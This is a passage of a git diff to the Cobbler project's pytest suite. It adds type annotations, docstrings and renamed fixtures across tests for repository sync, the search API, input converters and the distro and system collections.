+++ b/tests/actions/reposync_test.py
@@ -1,16 +1,28 @@
+"""
+Tests that validate the functionality of the module that is responsible for repository synchronization.
+"""
+
 import os
+from pathlib import Path
+from typing import TYPE_CHECKING, Any, Dict, List, Union
 
 import pytest
 
 from cobbler import cexceptions, enums
 from cobbler.actions import reposync
+from cobbler.api import CobblerAPI
 from cobbler.items.repo import Repo
 
 from tests.conftest import does_not_raise
 
+if TYPE_CHECKING:
+    from pytest_mock import MockerFixture
+
 
-@pytest.fixture(scope="function")
-def reposync_object(mocker, cobbler_api):
+@pytest.fixture(name="reposync_object", scope="function")
+def fixture_reposync_object(
+    mocker: "MockerFixture", cobbler_api: CobblerAPI
+) -> reposync.RepoSync:
     settings_mock = mocker.MagicMock()
     settings_mock.webdir = "/srv/www/cobbler"
     settings_mock.server = "localhost"
@@ -24,8 +36,8 @@ def reposync_object(mocker, cobbler_api):
     return test_reposync
 
 
-@pytest.fixture
-def repo(cobbler_api):
+@pytest.fixture(name="repo")
+def fixture_repo(cobbler_api: CobblerAPI) -> Repo:
     """
     Creates a Repository "testrepo0" with a keep_updated=True and mirror_locally=True".
     """
@@ -37,13 +49,13 @@ def repo(cobbler_api):
 
 
 @pytest.fixture
-def remove_repo(cobbler_api):
+def remove_repo(cobbler_api: CobblerAPI):
     """
     Removes the Repository "testrepo0" which can be created with repo.
     """
     yield
     test_repo = cobbler_api.find_repo("testrepo0")
-    if test_repo is not None:
+    if test_repo is not None and not isinstance(test_repo, list):
         cobbler_api.remove_repo(test_repo.name)
 
 
@@ -54,9 +66,9 @@ def reset_librepo():
     reposync.HAS_LIBREPO = has_librepo
 
 
-def test_repo_walker(mocker, tmp_path):
+def test_repo_walker(mocker: "MockerFixture", tmp_path: Path):
     # Arrange
-    def test_fun(arg, top, names):
+    def test_fun(arg: Any, top: Any, names: Any):
         pass
 
     subdir1 = tmp_path / "sub1"
@@ -66,7 +78,7 @@ def test_fun(arg, top, names):
     spy = mocker.Mock(wraps=test_fun)
 
     # Act
-    reposync.repo_walker(tmp_path, spy, None)
+    reposync.repo_walker(tmp_path, spy, None)  # type: ignore
 
     # Assert
     assert spy.mock_calls == [
@@ -87,12 +99,12 @@ def test_fun(arg, top, names):
     ],
 )
 def test_reposync_cmd(
-    mocker,
-    reposync_object,
-    input_has_librepo,
-    input_path_exists_side_effect,
-    expected_exception,
-    expected_result,
+    mocker: "MockerFixture",
+    reposync_object: reposync.RepoSync,
+    input_has_librepo: bool,
+    input_path_exists_side_effect: List[bool],
+    expected_exception: Any,
+    expected_result: Union[List[str], str],
 ):
     # Arrange
     mocker.patch("os.path.exists", side_effect=input_path_exists_side_effect)
@@ -106,9 +118,9 @@ def test_reposync_cmd(
         assert result == expected_result
 
 
-def test_run(mocker, reposync_object, repo):
+def test_run(mocker: "MockerFixture", reposync_object: reposync.RepoSync, repo: Repo):
     # Arrange
-    env_vars = {}
+    env_vars: Dict[str, Any] = {}
     mocker.patch("os.makedirs")
     mocker.patch("os.path.isdir", return_value=True)
     mocker.patch(
@@ -122,7 +134,7 @@ def test_run(mocker, reposync_object, repo):
     mocker.patch.object(reposync_object, "repos", return_value=[repo])
     mocker.patch.object(reposync_object, "sync")
     mocker.patch.object(reposync_object, "update_permissions")
-    reposync_object.repos = [repo]
+    reposync_object.repos = [repo]  # type: ignore
 
     # Act
     reposync_object.run()
@@ -132,9 +144,9 @@ def test_run(mocker, reposync_object, repo):
     assert len(env_vars) == 0
 
 
-def test_gen_urlgrab_ssl_opts(reposync_object):
+def test_gen_urlgrab_ssl_opts(reposync_object: reposync.RepoSync):
     # Arrange
-    input_dict = {}
+    input_dict: Dict[str, Any] = {}
 
     # Act
     result = reposync_object.gen_urlgrab_ssl_opts(input_dict)
@@ -168,13 +180,13 @@ def test_gen_urlgrab_ssl_opts(reposync_object):
     ],
 )
 def test_reposync_yum(
-    mocker,
-    input_mirror_type,
-    input_mirror,
-    expected_exception,
-    cobbler_api,
-    repo,
-    reposync_object,
+    mocker: "MockerFixture",
+    input_mirror_type: enums.MirrorType,
+    input_mirror: str,
+    expected_exception: Any,
+    cobbler_api: CobblerAPI,
+    repo: Repo,
+    reposync_object: reposync.RepoSync,
 ):
     # Arrange
     test_repo = repo
@@ -271,15 +283,15 @@ def test_reposync_yum(
     ],
 )
 def test_reposync_apt(
-    mocker,
-    input_mirror_type,
-    input_mirror,
-    input_arch,
-    input_rpm_list,
-    expected_exception,
-    cobbler_api,
-    repo,
-    reposync_object,
+    mocker: "MockerFixture",
+    input_mirror_type: enums.MirrorType,
+    input_mirror: str,
+    input_arch: enums.RepoArchs,
+    input_rpm_list: str,
+    expected_exception: Any,
+    cobbler_api: CobblerAPI,
+    repo: Repo,
+    reposync_object: reposync.RepoSync,
 ):
     # Arrange
     test_repo = repo
@@ -341,13 +353,13 @@ def test_reposync_apt(
     ],
 )
 def test_reposync_wget(
-    mocker,
-    input_mirror_type,
-    input_mirror,
-    expected_exception,
-    cobbler_api,
-    repo,
-    reposync_object,
+    mocker: "MockerFixture",
+    input_mirror_type: enums.MirrorType,
+    input_mirror: str,
+    expected_exception: Any,
+    cobbler_api: CobblerAPI,
+    repo: Repo,
+    reposync_object: reposync.RepoSync,
 ):
     # Arrange
     test_repo = repo
@@ -385,7 +397,9 @@ def test_reposync_wget(
         )
 
 
-def test_reposync_rhn(mocker, reposync_object, repo):
+def test_reposync_rhn(
+    mocker: "MockerFixture", reposync_object: reposync.RepoSync, repo: Repo
+):
     # Arrange
     repo.mirror = "rhn://%s" % repo.name
     mocked_subprocess = mocker.patch(
@@ -415,7 +429,9 @@ def test_reposync_rhn(mocker, reposync_object, repo):
     )
 
 
-def test_reposync_rsync(mocker, reposync_object, repo):
+def test_reposync_rsync(
+    mocker: "MockerFixture", reposync_object: reposync.RepoSync, repo: Repo
+):
     # Arrange
     mocked_subprocess = mocker.patch("cobbler.utils.subprocess_call", return_value=0)
     mocker.patch("cobbler.actions.reposync.repo_walker")
@@ -441,7 +457,9 @@ def test_reposync_rsync(mocker, reposync_object, repo):
     )
 
 
-def test_createrepo_walker(mocker, reposync_object, repo):
+def test_createrepo_walker(
+    mocker: "MockerFixture", reposync_object: reposync.RepoSync, repo: Repo
+):
     # Arrange
     input_repo = repo
     input_repo.breed = enums.RepoBreeds.RSYNC
@@ -482,7 +500,13 @@ def test_createrepo_walker(mocker, reposync_object, repo):
         (enums.RepoBreeds.NONE, pytest.raises(cexceptions.CX)),
     ],
 )
-def test_sync(mocker, cobbler_api, reposync_object, input_repotype, expected_exception):
+def test_sync(
+    mocker: "MockerFixture",
+    cobbler_api: CobblerAPI,
+    reposync_object: reposync.RepoSync,
+    input_repotype: enums.RepoBreeds,
+    expected_exception: Any,
+):
     # Arrange
     test_repo = Repo(cobbler_api)
     test_repo.breed = input_repotype
@@ -509,7 +533,9 @@ def test_sync(mocker, cobbler_api, reposync_object, input_repotype, expected_exc
         assert call_count == 1
 
 
-def test_librepo_getinfo(mocker, reposync_object, tmp_path):
+def test_librepo_getinfo(
+    mocker: "MockerFixture", reposync_object: reposync.RepoSync, tmp_path: Path
+):
     # Arrange
     handle_mock = mocker.MagicMock()
     result_mock = mocker.MagicMock()
@@ -524,7 +550,9 @@ def test_librepo_getinfo(mocker, reposync_object, tmp_path):
     result_mock.getinfo.assert_called()
 
 
-def test_create_local_file(mocker, reposync_object, repo):
+def test_create_local_file(
+    mocker: "MockerFixture", reposync_object: reposync.RepoSync, repo: Repo
+):
     # Arrange
     mocker.patch("cobbler.utils.filesystem_helpers.mkdir", autospec=True)
     mock_open = mocker.patch("builtins.open", mocker.mock_open())
@@ -544,7 +572,9 @@ def test_create_local_file(mocker, reposync_object, repo):
     assert mock_open_handle.write.mock_calls[1] == mocker.call("name=testrepo0\n")
 
 
-def test_update_permissions(mocker, reposync_object):
+def test_update_permissions(
+    mocker: "MockerFixture", reposync_object: reposync.RepoSync
+):
     # Arrange
     mocked_subprocess = mocker.patch(
         "cobbler.utils.subprocess_call", autospec=True, return_value=0
diff --git a/tests/actions/sync_test.py b/tests/actions/sync_test.py
index 5601b0b82c..5679436f73 100644
--- a/tests/actions/sync_test.py
+++ b/tests/actions/sync_test.py
@@ -1,21 +1,24 @@
-from unittest.mock import Mock
+"""
+Tests that validate the functionality of the module that is responsible for synchronizing the different daemons
+with each other.
+"""
 
 import pytest
 
 from cobbler.actions import sync
+from cobbler.api import CobblerAPI
 
 
 @pytest.mark.skip("TODO")
-def test_run_sync_systems():
+def test_run_sync_systems(cobbler_api: CobblerAPI):
     # Arrange
-    mcollection = Mock()
     # mock os.path.exists()
     # mock file access (run_triggers)
     # mock collections (distro, profile, etc.)
     # mock tftpd module
     # mock dns module
     # mock dhcp module
-    test_sync = sync.CobblerSync()
+    test_sync = sync.CobblerSync(cobbler_api)
 
     # Act
     test_sync.run_sync_systems(["t1.systems.de"])
diff --git a/tests/api/find_test.py b/tests/api/find_test.py
index b7ed54ef22..3670e92929 100644
--- a/tests/api/find_test.py
+++ b/tests/api/find_test.py
@@ -1,10 +1,19 @@
+"""
+Tests that validate the functionality of the module that is responsible for providing the search API for the
+application.
+"""
+
+from typing import Any, Dict, Optional
+
 import pytest
 
+from cobbler.api import CobblerAPI
+
 from tests.conftest import does_not_raise
 
 
-@pytest.fixture
-def find_fillup(cobbler_api):
+@pytest.fixture(name="find_fillup")
+def fixture_find_fillup(cobbler_api: CobblerAPI):
     # TODO: Extend the fillup and add more testcases
     return cobbler_api
 
@@ -19,14 +28,14 @@ def find_fillup(cobbler_api):
     ],
 )
 def test_find_items(
-    find_fillup,
-    what,
-    criteria,
-    name,
-    return_list,
-    no_errors,
-    expected_exception,
-    expected_result,
+    find_fillup: CobblerAPI,
+    what: str,
+    criteria: Dict[str, Any],
+    name: str,
+    return_list: bool,
+    no_errors: bool,
+    expected_exception: Any,
+    expected_result: None,
 ):
     # Arrange
     test_api = find_fillup
@@ -50,20 +59,20 @@ def test_find_items(
     ],
 )
 def test_find_distro(
-    find_fillup,
-    name,
-    return_list,
-    no_errors,
-    criteria,
-    expected_exception,
-    expected_result,
+    find_fillup: CobblerAPI,
+    name: Optional[str],
+    return_list: bool,
+    no_errors: bool,
+    criteria: Dict[str, Any],
+    expected_exception: Any,
+    expected_result: None,
 ):
     # Arrange
     test_api = find_fillup
 
     # Act
     with expected_exception:
-        result = test_api.find_distro(name, return_list, no_errors, **criteria)
+        result = test_api.find_distro(name, return_list, no_errors, **criteria)  # type: ignore[reportArgumentType]
 
         # Assert
         if expected_result is None:
@@ -80,20 +89,20 @@ def test_find_distro(
     ],
 )
 def test_find_profile(
-    find_fillup,
-    name,
-    return_list,
-    no_errors,
-    criteria,
-    expected_exception,
-    expected_result,
+    find_fillup: CobblerAPI,
+    name: Optional[str],
+    return_list: bool,
+    no_errors: bool,
+    criteria: Dict[str, Any],
+    expected_exception: Any,
+    expected_result: None,
 ):
     # Arrange
     test_api = find_fillup
 
     # Act
     with expected_exception:
-        result = test_api.find_profile(name, return_list, no_errors, **criteria)
+        result = test_api.find_profile(name, return_list, no_errors, **criteria)  # type: ignore[reportArgumentType]
 
         # Assert
         if expected_result is None:
@@ -110,20 +119,20 @@ def test_find_profile(
     ],
 )
 def test_find_system(
-    find_fillup,
-    name,
-    return_list,
-    no_errors,
-    criteria,
-    expected_exception,
-    expected_result,
+    find_fillup: CobblerAPI,
+    name: Optional[str],
+    return_list: bool,
+    no_errors: bool,
+    criteria: Dict[str, Any],
+    expected_exception: Any,
+    expected_result: None,
 ):
     # Arrange
     test_api = find_fillup
 
     # Act
     with expected_exception:
-        result = test_api.find_system(name, return_list, no_errors, **criteria)
+        result = test_api.find_system(name, return_list, no_errors, **criteria)  # type: ignore[reportArgumentType]
 
         # Assert
         if expected_result is None:
@@ -140,20 +149,20 @@ def test_find_system(
     ],
 )
 def test_find_repo(
-    find_fillup,
-    name,
-    return_list,
-    no_errors,
-    criteria,
-    expected_exception,
-    expected_result,
+    find_fillup: CobblerAPI,
+    name: Optional[str],
+    return_list: bool,
+    no_errors: bool,
+    criteria: Dict[str, Any],
+    expected_exception: Any,
+    expected_result: None,
 ):
     # Arrange
     test_api = find_fillup
 
     # Act
     with expected_exception:
-        result = test_api.find_repo(name, return_list, no_errors, **criteria)
+        result = test_api.find_repo(name, return_list, no_errors, **criteria)  # type: ignore[reportArgumentType]
 
         # Assert
         if expected_result is None:
@@ -170,20 +179,20 @@ def test_find_repo(
     ],
 )
 def test_find_image(
-    find_fillup,
-    name,
-    return_list,
-    no_errors,
-    criteria,
-    expected_exception,
-    expected_result,
+    find_fillup: CobblerAPI,
+    name: Optional[str],
+    return_list: bool,
+    no_errors: bool,
+    criteria: Optional[Dict[str, Any]],
+    expected_exception: Any,
+    expected_result: None,
 ):
     # Arrange
     test_api = find_fillup
 
     # Act
     with expected_exception:
-        result = test_api.find_image(name, return_list, no_errors, **criteria)
+        result = test_api.find_image(name, return_list, no_errors, **criteria)  # type: ignore[reportArgumentType]
 
         # Assert
         if expected_result is None:
@@ -202,13 +211,13 @@ def test_find_image(
     ],
 )
 def test_find_menu(
-    find_fillup,
-    name,
-    return_list,
-    no_errors,
-    criteria,
-    expected_exception,
-    expected_result,
+    find_fillup: CobblerAPI,
+    name: Optional[str],
+    return_list: bool,
+    no_errors: bool,
+    criteria: Optional[Dict[str, Any]],
+    expected_exception: Any,
+    expected_result: None,
 ):
     # Arrange
     test_api = find_fillup
@@ -216,9 +225,9 @@ def test_find_menu(
     # Act
     with expected_exception:
         if criteria is not None:
-            result = test_api.find_menu(name, return_list, no_errors, **criteria)
+            result = test_api.find_menu(name, return_list, no_errors, **criteria)  # type: ignore[reportArgumentType]
         else:
-            result = test_api.find_menu(name, return_list, no_errors)
+            result = test_api.find_menu(name, return_list, no_errors)  # type: ignore[reportArgumentType]
 
         # Assert
         if expected_result is None:
diff --git a/tests/api/input_converters.py b/tests/api/input_converters.py
index 3585cdcdf2..468bccf6f6 100644
--- a/tests/api/input_converters.py
+++ b/tests/api/input_converters.py
@@ -1,5 +1,13 @@
+"""
+Tests that validate the functionality of the module that is responsible for providing the API for input conversion.
+"""
+
+from typing import Any, Dict, List, Optional, Union
+
 import pytest
 
+from cobbler.api import CobblerAPI
+
 from tests.conftest import does_not_raise
 
 
@@ -7,7 +15,10 @@
     "input_options,expected_result,expected_exception", [([], [], does_not_raise())]
 )
 def test_input_string_or_list_no_inherit(
-    cobbler_api, input_options, expected_result, expected_exception
+    cobbler_api: CobblerAPI,
+    input_options: List[str],
+    expected_result: List[str],
+    expected_exception: Any,
 ):
     # Arrange & Act
     with expected_exception:
@@ -29,7 +40,10 @@ def test_input_string_or_list_no_inherit(
     ],
 )
 def test_input_string_or_list(
-    cobbler_api, input_options, expected_result, expected_exception
+    cobbler_api: CobblerAPI,
+    input_options: Any,
+    expected_result: Optional[Union[str, List[str]]],
+    expected_exception: Any,
 ):
     # Arrange & Act
     with expected_exception:
@@ -50,11 +64,11 @@ def test_input_string_or_list(
     ],
 )
 def test_input_string_or_dict(
-    cobbler_api,
-    input_options,
-    input_allow_multiples,
-    expected_result,
-    possible_exception,
+    cobbler_api: CobblerAPI,
+    input_options: Any,
+    input_allow_multiples: bool,
+    expected_result: Union[str, Dict[str, Any]],
+    possible_exception: Any,
 ):
     # Arrange & Act
     with possible_exception:
@@ -71,11 +85,11 @@ def test_input_string_or_dict(
     [({}, True, {}, does_not_raise())],
 )
 def test_input_string_or_dict_no_inherit(
-    cobbler_api,
-    input_options,
-    input_allow_multiples,
-    expected_result,
-    expected_exception,
+    cobbler_api: CobblerAPI,
+    input_options: Dict[str, Any],
+    input_allow_multiples: bool,
+    expected_result: Dict[str, Any],
+    expected_exception: Any,
 ):
     # Arrange & Act
     with expected_exception:
@@ -100,7 +114,12 @@ def test_input_string_or_dict_no_inherit(
         (0.5, pytest.raises(TypeError), False),
     ],
 )
-def test_input_boolean(cobbler_api, input_value, expected_exception, expected_result):
+def test_input_boolean(
+    cobbler_api: CobblerAPI,
+    input_value: Any,
+    expected_exception: Any,
+    expected_result: bool,
+):
     # Arrange & Act
     with expected_exception:
         result = cobbler_api.input_boolean(input_value)
@@ -123,7 +142,12 @@ def test_input_boolean(cobbler_api, input_value, expected_exception, expected_re
         (0.5, does_not_raise(), 0),
     ],
 )
-def test_input_int(cobbler_api, input_value, expected_exception, expected_result):
+def test_input_int(
+    cobbler_api: CobblerAPI,
+    input_value: Any,
+    expected_exception: Any,
+    expected_result: int,
+):
     # Arrange & Act
     with expected_exception:
         result = cobbler_api.input_int(input_value)
diff --git a/tests/api/miscellaneous_test.py b/tests/api/miscellaneous_test.py
index e8d064bf21..3afd8ebc26 100644
--- a/tests/api/miscellaneous_test.py
+++ b/tests/api/miscellaneous_test.py
@@ -1,4 +1,9 @@
+"""
+Tests that validate the functionality of the module that is responsible for providing miscellaneous API operations.
+"""
+
 import logging
+from typing import TYPE_CHECKING, Any, Callable
 from unittest.mock import create_autospec
 
 import pytest
@@ -7,9 +12,15 @@
 from cobbler.actions.buildiso.netboot import NetbootBuildiso
 from cobbler.actions.buildiso.standalone import StandaloneBuildiso
 from cobbler.api import CobblerAPI
+from cobbler.items.distro import Distro
+from cobbler.items.profile import Profile
+from cobbler.items.system import System
 
 from tests.conftest import does_not_raise
 
+if TYPE_CHECKING:
+    from pytest_mock import MockerFixture
+
 
 @pytest.mark.parametrize(
     "input_automigration,result_migrate_count,result_validate_count",
@@ -20,23 +31,28 @@
     ],
 )
 def test_settings_migration(
-    caplog, mocker, input_automigration, result_migrate_count, result_validate_count
+    caplog: pytest.LogCaptureFixture,
+    mocker: "MockerFixture",
+    input_automigration: bool,
+    result_migrate_count: int,
+    result_validate_count: int,
 ):
+    # pylint: disable=protected-access
     # Arrange
     caplog.set_level(logging.DEBUG)
     # TODO: Create test where the YAML is missing the key
     spy_migrate = mocker.spy(settings, "migrate")
     spy_validate = mocker.spy(settings, "validate_settings")
     # Override private class variables to have a clean slate on all runs
-    CobblerAPI._CobblerAPI__shared_state = {}
-    CobblerAPI._CobblerAPI__has_loaded = False
+    CobblerAPI._CobblerAPI__shared_state = {}  # type: ignore[reportAttributeAccessIssue]
+    CobblerAPI._CobblerAPI__has_loaded = False  # type: ignore[reportAttributeAccessIssue]
 
     # Act
     CobblerAPI(execute_settings_automigration=input_automigration)
 
     # Assert
     assert len(caplog.records) > 0
-    if input_automigration is not None:
+    if input_automigration is not None:  # type: ignore
         assert (
             'Daemon flag overwriting other possible values from "settings.yaml" for automigration!'
             in caplog.text
@@ -45,7 +61,7 @@ def test_settings_migration(
     assert spy_validate.call_count == result_validate_count
 
 
-def test_buildiso(mocker, cobbler_api):
+def test_buildiso(mocker: "MockerFixture", cobbler_api: CobblerAPI):
     # Arrange
     netboot_stub = create_autospec(spec=NetbootBuildiso)
     standalone_stub = create_autospec(spec=StandaloneBuildiso)
@@ -92,14 +108,14 @@ def test_buildiso(mocker, cobbler_api):
     ],
 )
 def test_get_item_resolved_value(
-    cobbler_api,
-    create_distro,
-    create_profile,
-    create_system,
-    input_uuid,
-    input_attribute_name,
-    expected_exception,
-    expected_result,
+    cobbler_api: CobblerAPI,
+    create_distro: Callable[[], Distro],
+    create_profile: Callable[[str], Profile],
+    create_system: Callable[[str], System],
+    input_uuid: str,
+    input_attribute_name: str,
+    expected_exception: Any,
+    expected_result: Any,
 ):
     # Arrange
     test_distro = create_distro()
@@ -175,20 +191,20 @@ def test_get_item_resolved_value(
     ],
 )
 def test_set_item_resolved_value(
-    cobbler_api,
-    create_distro,
-    create_profile,
-    create_system,
-    input_uuid,
-    input_attribute_name,
-    input_value,
-    expected_exception,
-    expected_result,
+    cobbler_api: CobblerAPI,
+    create_distro: Callable[[], Distro],
+    create_profile: Callable[[str], Profile],
+    create_system: Callable[[str], System],
+    input_uuid: str,
+    input_attribute_name: str,
+    input_value: str,
+    expected_exception: Any,
+    expected_result: Any,
 ):
     # Arrange
     test_distro = create_distro()
     test_profile = create_profile(test_distro.name)
-    test_profile.kernel_options = "a=5"
+    test_profile.kernel_options = "a=5"  # type: ignore
     cobbler_api.add_profile(test_profile)
     test_system = create_system(test_profile.name)
 
diff --git a/tests/autoinstallation_manager_test.py b/tests/autoinstallation_manager_test.py
index 2d3f4d4b03..a72d693705 100644
--- a/tests/autoinstallation_manager_test.py
+++ b/tests/autoinstallation_manager_test.py
@@ -1,3 +1,7 @@
+"""
+Tests that validate the functionality of the module that is responsible for generating auto-installation control files.
+"""
+
 from unittest.mock import MagicMock
 
 import pytest
@@ -82,7 +86,7 @@ def api_mock():
 # [2022-02-28_093028_validate_autoinstall_files] 2022-02-28T09:30:29 - ERROR | ### TASK FAILED ###
 
 
-def test_create_autoinstallation_manager(api_mock):
+def test_create_autoinstallation_manager(api_mock: CobblerAPI):
     # Arrange
     # TODO
 
@@ -90,4 +94,4 @@ def test_create_autoinstallation_manager(api_mock):
     result = autoinstall_manager.AutoInstallationManager(api_mock)
 
     # Assert
-    isinstance(result, autoinstall_manager.AutoInstallationManager)
+    assert isinstance(result, autoinstall_manager.AutoInstallationManager)
diff --git a/tests/cobbler_collections/distro_collection_test.py b/tests/cobbler_collections/distro_collection_test.py
index 5c4394cb36..1744277740 100644
--- a/tests/cobbler_collections/distro_collection_test.py
+++ b/tests/cobbler_collections/distro_collection_test.py
@@ -1,3 +1,7 @@
+"""
+Tests that validate the functionality of the module that is responsible for managing the list of distros.
+"""
+
 import os.path
 from typing import Callable
 
@@ -129,7 +133,7 @@ def test_copy(
     # Act
     new_item_name = "test_copy_new"
     distro_collection.copy(item1, new_item_name)
-    item2 = distro_collection.find(new_item_name, False)
+    item2: distro.Distro = distro_collection.find(new_item_name, False)  # type: ignore
 
     # Assert
     assert len(distro_collection.listing) == 2
@@ -294,19 +298,3 @@ def test_find_by_indexes(
     assert len(kargs2) == 0
     assert result3 is None
     assert len(kargs3) == 1
-
-
-@pytest.mark.skip("Method which is under test is broken!")
-def test_to_string(cobbler_api: CobblerAPI, distro_collection: distros.Distros):
-    # Arrange
-    name = "to_string"
-    item1 = distro.Distro(cobbler_api)
-    item1.name = name
-    distro_collection.add(item1)
-
-    # Act
-    result = distro_collection.to_string()
-
-    # Assert
-    print(result)
-    assert False
diff --git a/tests/cobbler_collections/system_collection_test.py b/tests/cobbler_collections/system_collection_test.py
index 129c4ba668..a9308d7db3 100644
--- a/tests/cobbler_collections/system_collection_test.py
+++ b/tests/cobbler_collections/system_collection_test.py
@@ -1,8 +1,8 @@
 """
-TODO
+Tests that validate the functionality of the module that is responsible for managing the list of systems.
 """
 
-from typing import Callable
+from typing import Any, Callable, Dict
 
 import pytest
 
@@ -23,7 +23,7 @@ def fixture_system_collection(collection_mgr: CollectionManager):
 
 def test_obj_create(collection_mgr: CollectionManager):
     """
-    TODO
+    Validate that a system collection can be instantiated.
     """
     # Arrange & Act
     test_system_collection = systems.Systems(collection_mgr)
@@ -34,7 +34,7 @@ def test_obj_create(collection_mgr: CollectionManager):
 
 def test_factory_produce(cobbler_api: CobblerAPI, system_collection: systems.Systems):
     """
-    TODO
+    Validate that a system can be correctly produced by the factory method.
     """
     # Arrange & Act
     result_system = system_collection.factory_produce(cobbler_api, {})
@@ -45,18 +45,18 @@ def test_factory_produce(cobbler_api: CobblerAPI, system_collection: systems.Sys
 
 def test_get(
     cobbler_api: CobblerAPI,
-    create_distro: Callable[[str], distro.Distro],
+    create_distro: Callable[[], distro.Distro],
     create_profile: Callable[[str], profile.Profile],
     create_system: Callable[[str], system.System],
 ):
     """
-    TODO
+    Validate that a system can be successfully retrieved from the collection.
     """
     # Arrange
     name = "test_get"
-    distro1 = create_distro()
-    profile1 = create_profile(name)
-    system1 = create_system(name)
+    create_distro()
+    create_profile(name)
+    create_system(name)
     system_collection = cobbler_api.systems()
 
     # Act
@@ -64,24 +64,25 @@ def test_get(
     fake_item = system_collection.get("fake_name")
 
     # Assert
+    assert item is not None
     assert item.name == name
     assert fake_item is None
 
 
 def test_find(
     cobbler_api: CobblerAPI,
-    create_distro: Callable[[str], distro.Distro],
+    create_distro: Callable[[], distro.Distro],
     create_profile: Callable[[str], profile.Profile],
     create_system: Callable[[str], system.System],
 ):
     """
-    TODO
+    Validate that a system can be successfully found inside the collection.
     """
     # Arrange
     name = "test_find"
-    distro1 = create_distro()
-    profile1 = create_profile(name)
-    system1 = create_system(name)
+    create_distro()
+    create_profile(name)
+    create_system(name)
     system_collection = cobbler_api.systems()
 
     # Act
@@ -95,18 +96,18 @@ def test_find(
 
 def test_to_list(
     cobbler_api: CobblerAPI,
-    create_distro: Callable[[str], distro.Distro],
+    create_distro: Callable[[], distro.Distro],
     create_profile: Callable[[str], profile.Profile],
     create_system: Callable[[str], system.System],
 ):
     """
-    TODO
+    Validate that the collection can be converted to a list.
     """
     # Arrange
     name = "test_to_list"
-    distro1 = create_distro()
-    profile1 = create_profile(name)
-    system1 = create_system(name)
+    create_distro()
+    create_profile(name)
+    create_system(name)
     system_collection = cobbler_api.systems()
 
     # Act
@@ -119,16 +120,16 @@ def test_to_list(
 
 def test_from_list(
     cobbler_api: CobblerAPI,
-    create_distro: Callable[[str], distro.Distro],
+    create_distro: Callable[[], distro.Distro],
     create_profile: Callable[[str], profile.Profile],
 ):
     """
-    TODO
+    Validate that the collection can be converted from a list.
     """
     # Arrange
     name = "test_from_list"
-    distro1 = create_distro()
-    profile1 = create_profile(name)
+    create_distro()
+    create_profile(name)
     system_collection = cobbler_api.systems()
     item_list = [
         {
@@ -156,17 +157,17 @@ def test_from_list(
 
 def test_copy(
     cobbler_api: CobblerAPI,
-    create_distro: Callable[[str], distro.Distro],
+    create_distro: Callable[[], distro.Distro],
     create_profile: Callable[[str], profile.Profile],
     create_system: Callable[[str], system.System],
 ):
     """
-    TODO
+    Validate that a system can be copied.
     """
     # Arrange
     name = "test_copy"
-    distro1 = create_distro()
-    profile1 = create_profile(name)
+    create_distro()
+    create_profile(name)
     system1 = create_system(name)
     system1.interfaces = {
         "default": {
@@ -179,7 +180,7 @@ def test_copy(
     system_collection = cobbler_api.systems()
 
     # Act
-    test1 = {
+    test1 = {  # type: ignore[reportUnusedVariable]
         x for y in system_collection.listing.values() for x in y.interfaces.values()
     }
     new_item_name = "test_copy_successful"
@@ -209,18 +210,18 @@ def test_copy(
 )
 def test_rename(
     cobbler_api: CobblerAPI,
-    create_distro: Callable[[str], distro.Distro],
+    create_distro: Callable[[], distro.Distro],
     create_profile: Callable[[str], profile.Profile],
     create_system: Callable[[str], system.System],
     input_new_name: str,
 ):
     """
-    TODO
+    Validate that a system can be renamed inside the collection.
     """
     # Arrange
     name = "test_rename"
-    distro1 = create_distro()
-    profile1 = create_profile(name)
+    create_distro()
+    create_profile(name)
     system1 = create_system(name)
     system1.interfaces = {
         "default": {
@@ -249,16 +250,15 @@ def test_rename(
 
 def test_collection_add(
     cobbler_api: CobblerAPI,
-    create_distro: Callable[[str], distro.Distro],
+    create_distro: Callable[[], distro.Distro],
     create_profile: Callable[[str], profile.Profile],
-    create_system: Callable[[str], system.System],
 ):
     """
-    TODO
+    Validate that a system can be added to the collection.
     """
     # Arrange
     name = "test_collection_add"
-    distro1 = create_distro()
+    create_distro()
     profile1 = create_profile(name)
     system1 = system.System(cobbler_api)
     system1.name = name
@@ -290,17 +290,17 @@ def test_collection_add(
 
 def test_duplicate_add(
     cobbler_api: CobblerAPI,
-    create_distro: Callable[[str], distro.Distro],
+    create_distro: Any,
     create_profile: Callable[[str], profile.Profile],
     create_system: Callable[[str], system.System],
 ):
     """
-    TODO
+    Validate that a system with an identical name cannot be added to the collection.
     """
     # Arrange
     name = "test_duplicate_add"
-    distro1 = create_distro(name="duplicate_add")
-    profile1 = create_profile(distro1.name)
+    distro1: distro.Distro = create_distro(name="duplicate_add")
+    create_profile(distro1.name)
     system1 = create_system(name)
     system1.interfaces = {
         "default": {
@@ -319,23 +319,23 @@ def test_duplicate_add(
     assert len(system_collection.indexes["uid"]) == 1
     with pytest.raises(CX):
         system_collection.add(system2, check_for_duplicate_names=True)
-    for key, value in system_collection.indexes.items():
+    for key, _ in system_collection.indexes.items():
         assert len(system_collection.indexes[key]) == 1
 
 
 def test_remove(
     cobbler_api: CobblerAPI,
-    create_distro: Callable[[str], distro.Distro],
+    create_distro: Callable[[], distro.Distro],
     create_profile: Callable[[str], profile.Profile],
     create_system: Callable[[str], system.System],
 ):
     """
-    TODO
+    Validate that a system can be removed from the collection.
     """
     # Arrange
     name = "test_remove"
-    distro1 = create_distro()
-    profile1 = create_profile(name)
+    create_distro()
+    create_profile(name)
     system1 = create_system(name)
     system1.interfaces = {
         "default": {
@@ -349,7 +349,7 @@ def test_remove(
     assert name in system_collection.listing
 
     # Pre-Assert to validate if the index is in its correct state
-    for key, value in system_collection.indexes.items():
+    for key, _ in system_collection.indexes.items():
         assert len(system_collection.indexes[key]) == 1
 
     # Act
@@ -357,7 +357,7 @@ def test_remove(
 
     # Assert
     assert name not in system_collection.listing
-    for key, value in system_collection.indexes.items():
+    for key, _ in system_collection.indexes.items():
         assert len(system_collection.indexes[key]) == 0
 
 
@@ -367,7 +367,7 @@ def test_indexes(
     system_collection: systems.Systems,
 ):
     """
-    TODO
+    Validate that the secondary indices on the system collection work as expected with an empty collection.
     """
     # Arrange
 
@@ -388,17 +388,17 @@ def test_indexes(
 
 def test_add_to_indexes(
     cobbler_api: CobblerAPI,
-    create_distro: Callable[[str], distro.Distro],
+    create_distro: Callable[[], distro.Distro],
     create_profile: Callable[[str], profile.Profile],
     create_system: Callable[[str], system.System],
 ):
     """
-    TODO
+    Validate that the secondary indices on the system collection work as expected while adding a system.
     """
     # Arrange
     name = "test_add_to_indexes"
-    distro1 = create_distro()
-    profile1 = create_profile(name)
+    create_distro()
